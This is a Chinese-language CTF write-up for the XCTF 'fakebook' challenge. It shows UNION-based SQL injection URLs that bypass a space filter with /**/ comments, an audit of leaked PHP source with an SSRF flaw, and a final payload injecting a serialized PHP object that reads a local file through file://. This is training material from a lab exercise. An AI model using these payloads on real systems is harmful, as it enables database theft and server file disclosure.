XCTF:fakebook(file协议|SSRF|sql注入| group_concat() )
进入页面,首先注册一个用户,发现用户页面存在注入
测试发现过滤了空格|0X(16进制),使用/**/或者++替换空格进行注入
爆库名:
SQL UNION 操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
爆表名:
http://220.249.52.133:49599/view.php?no=0/**/union/**/select/**/1,group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'
爆字段名
http://220.249.52.133:49599/view.php?no=0/**/union/**/select/**/1,group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name='users'
获取data字段的值
http://220.249.52.133:49599/view.php?no=0/**/union/**/select/**/1,group_concat(data),2,3/**/from/**/users
发现data存的是一个序列化的对象,没有flag的信息
御剑扫描发现了robots.txt和flag.php文件
robots.txt存放了一个php备份文件,审计代码:
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch);//抓取URL并返回到浏览器中 (存在SSRF) $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);//过滤不能使用file协议去访问flag文件 } }
验证存在SSRF
结合前面报错的路径信息,利用反序化数据库中的data字段,即可以SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
http://220.249.52.133:49599/view.php?no=0/**/union/**/select/**/1,1,2,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'